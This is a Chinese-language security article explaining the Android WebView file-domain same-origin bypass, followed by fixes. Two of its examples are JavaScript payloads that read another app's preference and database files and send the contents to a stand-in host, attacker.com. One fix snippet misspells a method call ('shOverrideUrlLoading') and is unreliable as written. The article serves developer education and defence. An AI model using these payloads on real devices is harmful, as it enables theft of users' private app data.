插件窝 干货文章 WebView File域同源策略绕过漏洞实例分析

WebView File域同源策略绕过漏洞实例分析

WebView File 同源 绕过 1006    来源:    2025-04-25

WebView File域同源策略绕过漏洞分析

漏洞概述

WebView中的File域同源策略绕过漏洞是指Android WebView组件在处理本地文件(file://协议)时,未能正确实施同源策略(Same-Origin Policy),导致恶意网页可能访问或窃取设备上的本地文件内容。

漏洞原理

Android WebView默认允许通过file://协议加载本地文件,但不同源的文件应该被隔离。然而在某些情况下:

  1. WebView未正确校验不同file域之间的访问权限
  2. JavaScript可以通过特殊构造的URL访问其他本地文件
  3. 某些API(如shouldOverrideUrlLoading)实现不当可能导致绕过

漏洞实例分析

案例1:直接跨域访问

<!-- 恶意网页代码 -->
<script>
function stealData() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'file:///data/data/com.victim.app/shared_prefs/prefs.xml', false);
    xhr.send();
    var data = xhr.responseText;
    // 将窃取的数据发送到攻击者服务器
    new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(data);
}
stealData();
</script>

案例2:通过iframe嵌套绕过

<!-- 攻击页面 -->
<iframe id="victim" src="file:///data/data/com.victim.app/database.db"></iframe>
<script>
window.onload = function() {
    var content = document.getElementById('victim').contentWindow.document.body.innerHTML;
    // 窃取敏感数据
    new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(content);
};
</script>

案例3:通过JavaScript伪协议绕过

<!-- 攻击页面 -->
<a href="javascript:alert(document.body.innerHTML)"
   onclick="window.location='file:///data/data/com.victim.app/webview.db'">
点击查看
</a>

修复方案

1. 禁用File域访问

webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);

2. 使用安全的内容提供者

// 代替直接使用file://, 使用content://
webView.loadUrl("content://com.your.package.provider/path/to/file.html");

3. 实现严格的shouldOverrideUrlLoading检查

webView.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
        String url = request.getUrl().toString();
        if (url.startsWith("file://") && !url.startsWith("file:///android_asset/")) {
            // 阻止非预期的文件访问
            return true;
        }
        return super.shOverrideUrlLoading(view, request);
    }
});

4. 使用WebViewAssetLoader (Android 9+)

WebViewAssetLoader assetLoader = new WebViewAssetLoader.Builder()
        .addPathHandler("/assets/", new WebViewAssetLoader.AssetsPathHandler(this))
        .addPathHandler("/res/", new WebViewAssetLoader.ResourcesPathHandler(this))
        .build();

webView.setWebViewClient(new WebViewClient() {
    @Override
    public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
        return assetLoader.shouldInterceptRequest(request.getUrl());
    }
});

webView.loadUrl("https://appassets.androidplatform.net/assets/index.html");

最佳实践

  1. 最小化WebView的文件系统访问权限
  2. 定期更新WebView组件到最新版本
  3. 对加载的内容进行严格的来源检查
  4. 考虑使用Chrome Custom Tabs代替WebView
  5. 实施内容安全策略(CSP)

通过以上措施,可以有效防止WebView File域同源策略绕过漏洞带来的安全风险。